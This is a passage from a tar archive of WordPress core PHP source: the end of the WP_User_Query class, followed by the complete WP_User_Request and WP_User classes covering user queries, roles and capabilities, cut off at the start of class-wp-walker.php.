LIKE', ); } $role_queries[] = $role__not_in_clauses; } // If there are no specific roles named, make sure the user is a member of the site. if ( empty( $role_queries ) ) { $role_queries[] = array( 'key' => $wpdb->get_blog_prefix( $blog_id ) . 'capabilities', 'compare' => 'EXISTS', ); } // Specify that role queries should be joined with AND. $role_queries['relation'] = 'AND'; if ( empty( $this->meta_query->queries ) ) { $this->meta_query->queries = $role_queries; } else { // Append the cap query to the original queries and reparse the query. $this->meta_query->queries = array( 'relation' => 'AND', array( $this->meta_query->queries, $role_queries ), ); } $this->meta_query->parse_query_vars( $this->meta_query->queries ); } if ( ! empty( $this->meta_query->queries ) ) { $clauses = $this->meta_query->get_sql( 'user', $wpdb->users, 'ID', $this ); $this->query_from .= $clauses['join']; $this->query_where .= $clauses['where']; if ( $this->meta_query->has_or_relation() ) { $this->query_fields = 'DISTINCT ' . $this->query_fields; } } // Sorting. $qv['order'] = isset( $qv['order'] ) ? strtoupper( $qv['order'] ) : ''; $order = $this->parse_order( $qv['order'] ); if ( empty( $qv['orderby'] ) ) { // Default order is by 'user_login'. $ordersby = array( 'user_login' => $order ); } elseif ( is_array( $qv['orderby'] ) ) { $ordersby = $qv['orderby']; } else { // 'orderby' values may be a comma- or space-separated list. $ordersby = preg_split( '/[,\s]+/', $qv['orderby'] ); } $orderby_array = array(); foreach ( $ordersby as $_key => $_value ) { if ( ! $_value ) { continue; } if ( is_int( $_key ) ) { // Integer key means this is a flat array of 'orderby' fields. $_orderby = $_value; $_order = $order; } else { // Non-integer key means this the key is the field and the value is ASC/DESC. $_orderby = $_key; $_order = $_value; } $parsed = $this->parse_orderby( $_orderby ); if ( ! $parsed ) { continue; } if ( 'nicename__in' === $_orderby || 'login__in' === $_orderby ) { $orderby_array[] = $parsed; } else { $orderby_array[] = $parsed . ' ' . $this->parse_order( $_order ); } } // If no valid clauses were found, order by user_login. if ( empty( $orderby_array ) ) { $orderby_array[] = "user_login $order"; } $this->query_orderby = 'ORDER BY ' . implode( ', ', $orderby_array ); // Limit. if ( isset( $qv['number'] ) && $qv['number'] > 0 ) { if ( $qv['offset'] ) { $this->query_limit = $wpdb->prepare( 'LIMIT %d, %d', $qv['offset'], $qv['number'] ); } else { $this->query_limit = $wpdb->prepare( 'LIMIT %d, %d', $qv['number'] * ( $qv['paged'] - 1 ), $qv['number'] ); } } $search = ''; if ( isset( $qv['search'] ) ) { $search = trim( $qv['search'] ); } if ( $search ) { $leading_wild = ( ltrim( $search, '*' ) != $search ); $trailing_wild = ( rtrim( $search, '*' ) != $search ); if ( $leading_wild && $trailing_wild ) { $wild = 'both'; } elseif ( $leading_wild ) { $wild = 'leading'; } elseif ( $trailing_wild ) { $wild = 'trailing'; } else { $wild = false; } if ( $wild ) { $search = trim( $search, '*' ); } $search_columns = array(); if ( $qv['search_columns'] ) { $search_columns = array_intersect( $qv['search_columns'], array( 'ID', 'user_login', 'user_email', 'user_url', 'user_nicename', 'display_name' ) ); } if ( ! $search_columns ) { if ( false !== strpos( $search, '@' ) ) { $search_columns = array( 'user_email' ); } elseif ( is_numeric( $search ) ) { $search_columns = array( 'user_login', 'ID' ); } elseif ( preg_match( '|^https?://|', $search ) && ! ( is_multisite() && wp_is_large_network( 'users' ) ) ) { $search_columns = array( 'user_url' ); } else { $search_columns = array( 'user_login', 'user_url', 'user_email', 'user_nicename', 'display_name' ); } } /** * Filters the columns to search in a WP_User_Query search. * * The default columns depend on the search term, and include 'ID', 'user_login', * 'user_email', 'user_url', 'user_nicename', and 'display_name'. * * @since 3.6.0 * * @param string[] $search_columns Array of column names to be searched. * @param string $search Text being searched. * @param WP_User_Query $query The current WP_User_Query instance. */ $search_columns = apply_filters( 'user_search_columns', $search_columns, $search, $this ); $this->query_where .= $this->get_search_sql( $search, $search_columns, $wild ); } if ( ! empty( $include ) ) { // Sanitized earlier. $ids = implode( ',', $include ); $this->query_where .= " AND $wpdb->users.ID IN ($ids)"; } elseif ( ! empty( $qv['exclude'] ) ) { $ids = implode( ',', wp_parse_id_list( $qv['exclude'] ) ); $this->query_where .= " AND $wpdb->users.ID NOT IN ($ids)"; } // Date queries are allowed for the user_registered field. if ( ! empty( $qv['date_query'] ) && is_array( $qv['date_query'] ) ) { $date_query = new WP_Date_Query( $qv['date_query'], 'user_registered' ); $this->query_where .= $date_query->get_sql(); } /** * Fires after the WP_User_Query has been parsed, and before * the query is executed. * * The passed WP_User_Query object contains SQL parts formed * from parsing the given query. * * @since 3.1.0 * * @param WP_User_Query $query Current instance of WP_User_Query (passed by reference). */ do_action_ref_array( 'pre_user_query', array( &$this ) ); } /** * Execute the query, with the current variables. * * @since 3.1.0 * * @global wpdb $wpdb WordPress database abstraction object. */ public function query() { global $wpdb; $qv =& $this->query_vars; /** * Filters the users array before the query takes place. * * Return a non-null value to bypass WordPress' default user queries. * * Filtering functions that require pagination information are encouraged to set * the `total_users` property of the WP_User_Query object, passed to the filter * by reference. If WP_User_Query does not perform a database query, it will not * have enough information to generate these values itself. * * @since 5.1.0 * * @param array|null $results Return an array of user data to short-circuit WP's user query * or null to allow WP to run its normal queries. * @param WP_User_Query $query The WP_User_Query instance (passed by reference). */ $this->results = apply_filters_ref_array( 'users_pre_query', array( null, &$this ) ); if ( null === $this->results ) { $this->request = "SELECT $this->query_fields $this->query_from $this->query_where $this->query_orderby $this->query_limit"; if ( is_array( $qv['fields'] ) || 'all' === $qv['fields'] ) { $this->results = $wpdb->get_results( $this->request ); } else { $this->results = $wpdb->get_col( $this->request ); } if ( isset( $qv['count_total'] ) && $qv['count_total'] ) { /** * Filters SELECT FOUND_ROWS() query for the current WP_User_Query instance. * * @since 3.2.0 * @since 5.1.0 Added the `$this` parameter. * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $sql The SELECT FOUND_ROWS() query for the current WP_User_Query. * @param WP_User_Query $query The current WP_User_Query instance. */ $found_users_query = apply_filters( 'found_users_query', 'SELECT FOUND_ROWS()', $this ); $this->total_users = (int) $wpdb->get_var( $found_users_query ); } } if ( ! $this->results ) { return; } if ( 'all_with_meta' === $qv['fields'] ) { cache_users( $this->results ); $r = array(); foreach ( $this->results as $userid ) { $r[ $userid ] = new WP_User( $userid, '', $qv['blog_id'] ); } $this->results = $r; } elseif ( 'all' === $qv['fields'] ) { foreach ( $this->results as $key => $user ) { $this->results[ $key ] = new WP_User( $user, '', $qv['blog_id'] ); } } } /** * Retrieve query variable. * * @since 3.5.0 * * @param string $query_var Query variable key. * @return mixed */ public function get( $query_var ) { if ( isset( $this->query_vars[ $query_var ] ) ) { return $this->query_vars[ $query_var ]; } return null; } /** * Set query variable. * * @since 3.5.0 * * @param string $query_var Query variable key. * @param mixed $value Query variable value. */ public function set( $query_var, $value ) { $this->query_vars[ $query_var ] = $value; } /** * Used internally to generate an SQL string for searching across multiple columns * * @since 3.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $string * @param array $cols * @param bool $wild Whether to allow wildcard searches. Default is false for Network Admin, true for single site. * Single site allows leading and trailing wildcards, Network Admin only trailing. * @return string */ protected function get_search_sql( $string, $cols, $wild = false ) { global $wpdb; $searches = array(); $leading_wild = ( 'leading' === $wild || 'both' === $wild ) ? '%' : ''; $trailing_wild = ( 'trailing' === $wild || 'both' === $wild ) ? '%' : ''; $like = $leading_wild . $wpdb->esc_like( $string ) . $trailing_wild; foreach ( $cols as $col ) { if ( 'ID' === $col ) { $searches[] = $wpdb->prepare( "$col = %s", $string ); } else { $searches[] = $wpdb->prepare( "$col LIKE %s", $like ); } } return ' AND (' . implode( ' OR ', $searches ) . ')'; } /** * Return the list of users. * * @since 3.1.0 * * @return array Array of results. */ public function get_results() { return $this->results; } /** * Return the total number of users for the current query. * * @since 3.1.0 * * @return int Number of total users. */ public function get_total() { return $this->total_users; } /** * Parse and sanitize 'orderby' keys passed to the user query. * * @since 4.2.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $orderby Alias for the field to order by. * @return string Value to used in the ORDER clause, if `$orderby` is valid. */ protected function parse_orderby( $orderby ) { global $wpdb; $meta_query_clauses = $this->meta_query->get_clauses(); $_orderby = ''; if ( in_array( $orderby, array( 'login', 'nicename', 'email', 'url', 'registered' ), true ) ) { $_orderby = 'user_' . $orderby; } elseif ( in_array( $orderby, array( 'user_login', 'user_nicename', 'user_email', 'user_url', 'user_registered' ), true ) ) { $_orderby = $orderby; } elseif ( 'name' === $orderby || 'display_name' === $orderby ) { $_orderby = 'display_name'; } elseif ( 'post_count' === $orderby ) { // @todo Avoid the JOIN. $where = get_posts_by_author_sql( 'post' ); $this->query_from .= " LEFT OUTER JOIN ( SELECT post_author, COUNT(*) as post_count FROM $wpdb->posts $where GROUP BY post_author ) p ON ({$wpdb->users}.ID = p.post_author) "; $_orderby = 'post_count'; } elseif ( 'ID' === $orderby || 'id' === $orderby ) { $_orderby = 'ID'; } elseif ( 'meta_value' === $orderby || $this->get( 'meta_key' ) == $orderby ) { $_orderby = "$wpdb->usermeta.meta_value"; } elseif ( 'meta_value_num' === $orderby ) { $_orderby = "$wpdb->usermeta.meta_value+0"; } elseif ( 'include' === $orderby && ! empty( $this->query_vars['include'] ) ) { $include = wp_parse_id_list( $this->query_vars['include'] ); $include_sql = implode( ',', $include ); $_orderby = "FIELD( $wpdb->users.ID, $include_sql )"; } elseif ( 'nicename__in' === $orderby ) { $sanitized_nicename__in = array_map( 'esc_sql', $this->query_vars['nicename__in'] ); $nicename__in = implode( "','", $sanitized_nicename__in ); $_orderby = "FIELD( user_nicename, '$nicename__in' )"; } elseif ( 'login__in' === $orderby ) { $sanitized_login__in = array_map( 'esc_sql', $this->query_vars['login__in'] ); $login__in = implode( "','", $sanitized_login__in ); $_orderby = "FIELD( user_login, '$login__in' )"; } elseif ( isset( $meta_query_clauses[ $orderby ] ) ) { $meta_clause = $meta_query_clauses[ $orderby ]; $_orderby = sprintf( 'CAST(%s.meta_value AS %s)', esc_sql( $meta_clause['alias'] ), esc_sql( $meta_clause['cast'] ) ); } return $_orderby; } /** * Parse an 'order' query variable and cast it to ASC or DESC as necessary. * * @since 4.2.0 * * @param string $order The 'order' query variable. * @return string The sanitized 'order' query variable. */ protected function parse_order( $order ) { if ( ! is_string( $order ) || empty( $order ) ) { return 'DESC'; } if ( 'ASC' === strtoupper( $order ) ) { return 'ASC'; } else { return 'DESC'; } } /** * Make private properties readable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to get. * @return mixed Property. */ public function __get( $name ) { if ( in_array( $name, $this->compat_fields, true ) ) { return $this->$name; } } /** * Make private properties settable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to check if set. * @param mixed $value Property value. * @return mixed Newly-set property. */ public function __set( $name, $value ) { if ( in_array( $name, $this->compat_fields, true ) ) { return $this->$name = $value; } } /** * Make private properties checkable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to check if set. * @return bool Whether the property is set. */ public function __isset( $name ) { if ( in_array( $name, $this->compat_fields, true ) ) { return isset( $this->$name ); } } /** * Make private properties un-settable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to unset. */ public function __unset( $name ) { if ( in_array( $name, $this->compat_fields, true ) ) { unset( $this->$name ); } } /** * Make private/protected methods readable for backward compatibility. * * @since 4.0.0 * * @param string $name Method to call. * @param array $arguments Arguments to pass when calling. * @return mixed Return value of the callback, false otherwise. */ public function __call( $name, $arguments ) { if ( 'get_search_sql' === $name ) { return $this->get_search_sql( ...$arguments ); } return false; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-user-request.php���������������������������������������������������������������������������0000644�����������������00000004224�15120262030�0011441 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * WP_User_Request class. * * Represents user request data loaded from a WP_Post object. * * @since 4.9.6 */ final class WP_User_Request { /** * Request ID. * * @since 4.9.6 * @var int */ public $ID = 0; /** * User ID. * * @since 4.9.6 * @var int */ public $user_id = 0; /** * User email. * * @since 4.9.6 * @var string */ public $email = ''; /** * Action name. * * @since 4.9.6 * @var string */ public $action_name = ''; /** * Current status. * * @since 4.9.6 * @var string */ public $status = ''; /** * Timestamp this request was created. * * @since 4.9.6 * @var int|null */ public $created_timestamp = null; /** * Timestamp this request was last modified. * * @since 4.9.6 * @var int|null */ public $modified_timestamp = null; /** * Timestamp this request was confirmed. * * @since 4.9.6 * @var int|null */ public $confirmed_timestamp = null; /** * Timestamp this request was completed. * * @since 4.9.6 * @var int|null */ public $completed_timestamp = null; /** * Misc data assigned to this request. * * @since 4.9.6 * @var array */ public $request_data = array(); /** * Key used to confirm this request. * * @since 4.9.6 * @var string */ public $confirm_key = ''; /** * Constructor. * * @since 4.9.6 * * @param WP_Post|object $post Post object. */ public function __construct( $post ) { $this->ID = $post->ID; $this->user_id = $post->post_author; $this->email = $post->post_title; $this->action_name = $post->post_name; $this->status = $post->post_status; $this->created_timestamp = strtotime( $post->post_date_gmt ); $this->modified_timestamp = strtotime( $post->post_modified_gmt ); $this->confirmed_timestamp = (int) get_post_meta( $post->ID, '_wp_user_request_confirmed_timestamp', true ); $this->completed_timestamp = (int) get_post_meta( $post->ID, '_wp_user_request_completed_timestamp', true ); $this->request_data = json_decode( $post->post_content, true ); $this->confirm_key = $post->post_password; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-user.php�����������������������������������������������������������������������������������0000644�����������������00000053174�15120262030�0007763 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * User API: WP_User class * * @package WordPress * @subpackage Users * @since 4.4.0 */ /** * Core class used to implement the WP_User object. * * @since 2.0.0 * * @property string $nickname * @property string $description * @property string $user_description * @property string $first_name * @property string $user_firstname * @property string $last_name * @property string $user_lastname * @property string $user_login * @property string $user_pass * @property string $user_nicename * @property string $user_email * @property string $user_url * @property string $user_registered * @property string $user_activation_key * @property string $user_status * @property int $user_level * @property string $display_name * @property string $spam * @property string $deleted * @property string $locale * @property string $rich_editing * @property string $syntax_highlighting */ class WP_User { /** * User data container. * * @since 2.0.0 * @var stdClass */ public $data; /** * The user's ID. * * @since 2.1.0 * @var int */ public $ID = 0; /** * Capabilities that the individual user has been granted outside of those inherited from their role. * * @since 2.0.0 * @var bool[] Array of key/value pairs where keys represent a capability name * and boolean values represent whether the user has that capability. */ public $caps = array(); /** * User metadata option name. * * @since 2.0.0 * @var string */ public $cap_key; /** * The roles the user is part of. * * @since 2.0.0 * @var string[] */ public $roles = array(); /** * All capabilities the user has, including individual and role based. * * @since 2.0.0 * @var bool[] Array of key/value pairs where keys represent a capability name * and boolean values represent whether the user has that capability. */ public $allcaps = array(); /** * The filter context applied to user data fields. * * @since 2.9.0 * @var string */ public $filter = null; /** * The site ID the capabilities of this user are initialized for. * * @since 4.9.0 * @var int */ private $site_id = 0; /** * @since 3.3.0 * @var array */ private static $back_compat_keys; /** * Constructor. * * Retrieves the userdata and passes it to WP_User::init(). * * @since 2.0.0 * * @param int|string|stdClass|WP_User $id User's ID, a WP_User object, or a user object from the DB. * @param string $name Optional. User's username * @param int $site_id Optional Site ID, defaults to current site. */ public function __construct( $id = 0, $name = '', $site_id = '' ) { if ( ! isset( self::$back_compat_keys ) ) { $prefix = $GLOBALS['wpdb']->prefix; self::$back_compat_keys = array( 'user_firstname' => 'first_name', 'user_lastname' => 'last_name', 'user_description' => 'description', 'user_level' => $prefix . 'user_level', $prefix . 'usersettings' => $prefix . 'user-settings', $prefix . 'usersettingstime' => $prefix . 'user-settings-time', ); } if ( $id instanceof WP_User ) { $this->init( $id->data, $site_id ); return; } elseif ( is_object( $id ) ) { $this->init( $id, $site_id ); return; } if ( ! empty( $id ) && ! is_numeric( $id ) ) { $name = $id; $id = 0; } if ( $id ) { $data = self::get_data_by( 'id', $id ); } else { $data = self::get_data_by( 'login', $name ); } if ( $data ) { $this->init( $data, $site_id ); } else { $this->data = new stdClass; } } /** * Sets up object properties, including capabilities. * * @since 3.3.0 * * @param object $data User DB row object. * @param int $site_id Optional. The site ID to initialize for. */ public function init( $data, $site_id = '' ) { $this->data = $data; $this->ID = (int) $data->ID; $this->for_site( $site_id ); } /** * Return only the main user fields * * @since 3.3.0 * @since 4.4.0 Added 'ID' as an alias of 'id' for the `$field` parameter. * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $field The field to query against: 'id', 'ID', 'slug', 'email' or 'login'. * @param string|int $value The field value * @return object|false Raw user object */ public static function get_data_by( $field, $value ) { global $wpdb; // 'ID' is an alias of 'id'. if ( 'ID' === $field ) { $field = 'id'; } if ( 'id' === $field ) { // Make sure the value is numeric to avoid casting objects, for example, // to int 1. if ( ! is_numeric( $value ) ) { return false; } $value = (int) $value; if ( $value < 1 ) { return false; } } else { $value = trim( $value ); } if ( ! $value ) { return false; } switch ( $field ) { case 'id': $user_id = $value; $db_field = 'ID'; break; case 'slug': $user_id = wp_cache_get( $value, 'userslugs' ); $db_field = 'user_nicename'; break; case 'email': $user_id = wp_cache_get( $value, 'useremail' ); $db_field = 'user_email'; break; case 'login': $value = sanitize_user( $value ); $user_id = wp_cache_get( $value, 'userlogins' ); $db_field = 'user_login'; break; default: return false; } if ( false !== $user_id ) { $user = wp_cache_get( $user_id, 'users' ); if ( $user ) { return $user; } } $user = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->users WHERE $db_field = %s LIMIT 1", $value ) ); if ( ! $user ) { return false; } update_user_caches( $user ); return $user; } /** * Magic method for checking the existence of a certain custom field. * * @since 3.3.0 * * @param string $key User meta key to check if set. * @return bool Whether the given user meta key is set. */ public function __isset( $key ) { if ( 'id' === $key ) { _deprecated_argument( 'WP_User->id', '2.1.0', sprintf( /* translators: %s: WP_User->ID */ __( 'Use %s instead.' ), '<code>WP_User->ID</code>' ) ); $key = 'ID'; } if ( isset( $this->data->$key ) ) { return true; } if ( isset( self::$back_compat_keys[ $key ] ) ) { $key = self::$back_compat_keys[ $key ]; } return metadata_exists( 'user', $this->ID, $key ); } /** * Magic method for accessing custom fields. * * @since 3.3.0 * * @param string $key User meta key to retrieve. * @return mixed Value of the given user meta key (if set). If `$key` is 'id', the user ID. */ public function __get( $key ) { if ( 'id' === $key ) { _deprecated_argument( 'WP_User->id', '2.1.0', sprintf( /* translators: %s: WP_User->ID */ __( 'Use %s instead.' ), '<code>WP_User->ID</code>' ) ); return $this->ID; } if ( isset( $this->data->$key ) ) { $value = $this->data->$key; } else { if ( isset( self::$back_compat_keys[ $key ] ) ) { $key = self::$back_compat_keys[ $key ]; } $value = get_user_meta( $this->ID, $key, true ); } if ( $this->filter ) { $value = sanitize_user_field( $key, $value, $this->ID, $this->filter ); } return $value; } /** * Magic method for setting custom user fields. * * This method does not update custom fields in the database. It only stores * the value on the WP_User instance. * * @since 3.3.0 * * @param string $key User meta key. * @param mixed $value User meta value. */ public function __set( $key, $value ) { if ( 'id' === $key ) { _deprecated_argument( 'WP_User->id', '2.1.0', sprintf( /* translators: %s: WP_User->ID */ __( 'Use %s instead.' ), '<code>WP_User->ID</code>' ) ); $this->ID = $value; return; } $this->data->$key = $value; } /** * Magic method for unsetting a certain custom field. * * @since 4.4.0 * * @param string $key User meta key to unset. */ public function __unset( $key ) { if ( 'id' === $key ) { _deprecated_argument( 'WP_User->id', '2.1.0', sprintf( /* translators: %s: WP_User->ID */ __( 'Use %s instead.' ), '<code>WP_User->ID</code>' ) ); } if ( isset( $this->data->$key ) ) { unset( $this->data->$key ); } if ( isset( self::$back_compat_keys[ $key ] ) ) { unset( self::$back_compat_keys[ $key ] ); } } /** * Determine whether the user exists in the database. * * @since 3.4.0 * * @return bool True if user exists in the database, false if not. */ public function exists() { return ! empty( $this->ID ); } /** * Retrieve the value of a property or meta key. * * Retrieves from the users and usermeta table. * * @since 3.3.0 * * @param string $key Property * @return mixed */ public function get( $key ) { return $this->__get( $key ); } /** * Determine whether a property or meta key is set * * Consults the users and usermeta tables. * * @since 3.3.0 * * @param string $key Property * @return bool */ public function has_prop( $key ) { return $this->__isset( $key ); } /** * Return an array representation. * * @since 3.5.0 * * @return array Array representation. */ public function to_array() { return get_object_vars( $this->data ); } /** * Makes private/protected methods readable for backward compatibility. * * @since 4.3.0 * * @param string $name Method to call. * @param array $arguments Arguments to pass when calling. * @return mixed|false Return value of the callback, false otherwise. */ public function __call( $name, $arguments ) { if ( '_init_caps' === $name ) { return $this->_init_caps( ...$arguments ); } return false; } /** * Set up capability object properties. * * Will set the value for the 'cap_key' property to current database table * prefix, followed by 'capabilities'. Will then check to see if the * property matching the 'cap_key' exists and is an array. If so, it will be * used. * * @since 2.1.0 * @deprecated 4.9.0 Use WP_User::for_site() * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $cap_key Optional capability key */ protected function _init_caps( $cap_key = '' ) { global $wpdb; _deprecated_function( __METHOD__, '4.9.0', 'WP_User::for_site()' ); if ( empty( $cap_key ) ) { $this->cap_key = $wpdb->get_blog_prefix( $this->site_id ) . 'capabilities'; } else { $this->cap_key = $cap_key; } $this->caps = $this->get_caps_data(); $this->get_role_caps(); } /** * Retrieves all of the capabilities of the user's roles, and merges them with * individual user capabilities. * * All of the capabilities of the user's roles are merged with the user's individual * capabilities. This means that the user can be denied specific capabilities that * their role might have, but the user is specifically denied. * * @since 2.0.0 * * @return bool[] Array of key/value pairs where keys represent a capability name * and boolean values represent whether the user has that capability. */ public function get_role_caps() { $switch_site = false; if ( is_multisite() && get_current_blog_id() != $this->site_id ) { $switch_site = true; switch_to_blog( $this->site_id ); } $wp_roles = wp_roles(); // Filter out caps that are not role names and assign to $this->roles. if ( is_array( $this->caps ) ) { $this->roles = array_filter( array_keys( $this->caps ), array( $wp_roles, 'is_role' ) ); } // Build $allcaps from role caps, overlay user's $caps. $this->allcaps = array(); foreach ( (array) $this->roles as $role ) { $the_role = $wp_roles->get_role( $role ); $this->allcaps = array_merge( (array) $this->allcaps, (array) $the_role->capabilities ); } $this->allcaps = array_merge( (array) $this->allcaps, (array) $this->caps ); if ( $switch_site ) { restore_current_blog(); } return $this->allcaps; } /** * Add role to user. * * Updates the user's meta data option with capabilities and roles. * * @since 2.0.0 * * @param string $role Role name. */ public function add_role( $role ) { if ( empty( $role ) ) { return; } $this->caps[ $role ] = true; update_user_meta( $this->ID, $this->cap_key, $this->caps ); $this->get_role_caps(); $this->update_user_level_from_caps(); /** * Fires immediately after the user has been given a new role. * * @since 4.3.0 * * @param int $user_id The user ID. * @param string $role The new role. */ do_action( 'add_user_role', $this->ID, $role ); } /** * Remove role from user. * * @since 2.0.0 * * @param string $role Role name. */ public function remove_role( $role ) { if ( ! in_array( $role, $this->roles, true ) ) { return; } unset( $this->caps[ $role ] ); update_user_meta( $this->ID, $this->cap_key, $this->caps ); $this->get_role_caps(); $this->update_user_level_from_caps(); /** * Fires immediately after a role as been removed from a user. * * @since 4.3.0 * * @param int $user_id The user ID. * @param string $role The removed role. */ do_action( 'remove_user_role', $this->ID, $role ); } /** * Set the role of the user. * * This will remove the previous roles of the user and assign the user the * new one. You can set the role to an empty string and it will remove all * of the roles from the user. * * @since 2.0.0 * * @param string $role Role name. */ public function set_role( $role ) { if ( 1 === count( $this->roles ) && current( $this->roles ) == $role ) { return; } foreach ( (array) $this->roles as $oldrole ) { unset( $this->caps[ $oldrole ] ); } $old_roles = $this->roles; if ( ! empty( $role ) ) { $this->caps[ $role ] = true; $this->roles = array( $role => true ); } else { $this->roles = false; } update_user_meta( $this->ID, $this->cap_key, $this->caps ); $this->get_role_caps(); $this->update_user_level_from_caps(); /** * Fires after the user's role has changed. * * @since 2.9.0 * @since 3.6.0 Added $old_roles to include an array of the user's previous roles. * * @param int $user_id The user ID. * @param string $role The new role. * @param string[] $old_roles An array of the user's previous roles. */ do_action( 'set_user_role', $this->ID, $role, $old_roles ); } /** * Choose the maximum level the user has. * * Will compare the level from the $item parameter against the $max * parameter. If the item is incorrect, then just the $max parameter value * will be returned. * * Used to get the max level based on the capabilities the user has. This * is also based on roles, so if the user is assigned the Administrator role * then the capability 'level_10' will exist and the user will get that * value. * * @since 2.0.0 * * @param int $max Max level of user. * @param string $item Level capability name. * @return int Max Level. */ public function level_reduction( $max, $item ) { if ( preg_match( '/^level_(10|[0-9])$/i', $item, $matches ) ) { $level = (int) $matches[1]; return max( $max, $level ); } else { return $max; } } /** * Update the maximum user level for the user. * * Updates the 'user_level' user metadata (includes prefix that is the * database table prefix) with the maximum user level. Gets the value from * the all of the capabilities that the user has. * * @since 2.0.0 * * @global wpdb $wpdb WordPress database abstraction object. */ public function update_user_level_from_caps() { global $wpdb; $this->user_level = array_reduce( array_keys( $this->allcaps ), array( $this, 'level_reduction' ), 0 ); update_user_meta( $this->ID, $wpdb->get_blog_prefix() . 'user_level', $this->user_level ); } /** * Add capability and grant or deny access to capability. * * @since 2.0.0 * * @param string $cap Capability name. * @param bool $grant Whether to grant capability to user. */ public function add_cap( $cap, $grant = true ) { $this->caps[ $cap ] = $grant; update_user_meta( $this->ID, $this->cap_key, $this->caps ); $this->get_role_caps(); $this->update_user_level_from_caps(); } /** * Remove capability from user. * * @since 2.0.0 * * @param string $cap Capability name. */ public function remove_cap( $cap ) { if ( ! isset( $this->caps[ $cap ] ) ) { return; } unset( $this->caps[ $cap ] ); update_user_meta( $this->ID, $this->cap_key, $this->caps ); $this->get_role_caps(); $this->update_user_level_from_caps(); } /** * Remove all of the capabilities of the user. * * @since 2.1.0 * * @global wpdb $wpdb WordPress database abstraction object. */ public function remove_all_caps() { global $wpdb; $this->caps = array(); delete_user_meta( $this->ID, $this->cap_key ); delete_user_meta( $this->ID, $wpdb->get_blog_prefix() . 'user_level' ); $this->get_role_caps(); } /** * Returns whether the user has the specified capability. * * This function also accepts an ID of an object to check against if the capability is a meta capability. Meta * capabilities such as `edit_post` and `edit_user` are capabilities used by the `map_meta_cap()` function to * map to primitive capabilities that a user or role has, such as `edit_posts` and `edit_others_posts`. * * Example usage: * * $user->has_cap( 'edit_posts' ); * $user->has_cap( 'edit_post', $post->ID ); * $user->has_cap( 'edit_post_meta', $post->ID, $meta_key ); * * While checking against a role in place of a capability is supported in part, this practice is discouraged as it * may produce unreliable results. * * @since 2.0.0 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * * @see map_meta_cap() * * @param string $cap Capability name. * @param mixed ...$args Optional further parameters, typically starting with an object ID. * @return bool Whether the user has the given capability, or, if an object ID is passed, whether the user has * the given capability for that object. */ public function has_cap( $cap, ...$args ) { if ( is_numeric( $cap ) ) { _deprecated_argument( __FUNCTION__, '2.0.0', __( 'Usage of user levels is deprecated. Use capabilities instead.' ) ); $cap = $this->translate_level_to_cap( $cap ); } $caps = map_meta_cap( $cap, $this->ID, ...$args ); // Multisite super admin has all caps by definition, Unless specifically denied. if ( is_multisite() && is_super_admin( $this->ID ) ) { if ( in_array( 'do_not_allow', $caps, true ) ) { return false; } return true; } // Maintain BC for the argument passed to the "user_has_cap" filter. $args = array_merge( array( $cap, $this->ID ), $args ); /** * Dynamically filter a user's capabilities. * * @since 2.0.0 * @since 3.7.0 Added the `$user` parameter. * * @param bool[] $allcaps Array of key/value pairs where keys represent a capability name * and boolean values represent whether the user has that capability. * @param string[] $caps Required primitive capabilities for the requested capability. * @param array $args { * Arguments that accompany the requested capability check. * * @type string $0 Requested capability. * @type int $1 Concerned user ID. * @type mixed ...$2 Optional second and further parameters, typically object ID. * } * @param WP_User $user The user object. */ $capabilities = apply_filters( 'user_has_cap', $this->allcaps, $caps, $args, $this ); // Everyone is allowed to exist. $capabilities['exist'] = true; // Nobody is allowed to do things they are not allowed to do. unset( $capabilities['do_not_allow'] ); // Must have ALL requested caps. foreach ( (array) $caps as $cap ) { if ( empty( $capabilities[ $cap ] ) ) { return false; } } return true; } /** * Convert numeric level to level capability name. * * Prepends 'level_' to level number. * * @since 2.0.0 * * @param int $level Level number, 1 to 10. * @return string */ public function translate_level_to_cap( $level ) { return 'level_' . $level; } /** * Set the site to operate on. Defaults to the current site. * * @since 3.0.0 * @deprecated 4.9.0 Use WP_User::for_site() * * @param int $blog_id Optional. Site ID, defaults to current site. */ public function for_blog( $blog_id = '' ) { _deprecated_function( __METHOD__, '4.9.0', 'WP_User::for_site()' ); $this->for_site( $blog_id ); } /** * Sets the site to operate on. Defaults to the current site. * * @since 4.9.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $site_id Site ID to initialize user capabilities for. Default is the current site. */ public function for_site( $site_id = '' ) { global $wpdb; if ( ! empty( $site_id ) ) { $this->site_id = absint( $site_id ); } else { $this->site_id = get_current_blog_id(); } $this->cap_key = $wpdb->get_blog_prefix( $this->site_id ) . 'capabilities'; $this->caps = $this->get_caps_data(); $this->get_role_caps(); } /** * Gets the ID of the site for which the user's capabilities are currently initialized. * * @since 4.9.0 * * @return int Site ID. */ public function get_site_id() { return $this->site_id; } /** * Gets the available user capabilities data. * * @since 4.9.0 * * @return bool[] List of capabilities keyed by the capability name, * e.g. array( 'edit_posts' => true, 'delete_posts' => false ). */ private function get_caps_data() { $caps = get_user_meta( $this->ID, $this->cap_key, true ); if ( ! is_array( $caps ) ) { return array(); } return $caps; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-walker.php���������������������������������������������������������������������������������0000644�����������������00000030662�15120262030�0010267 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * A class for displaying various tree-like 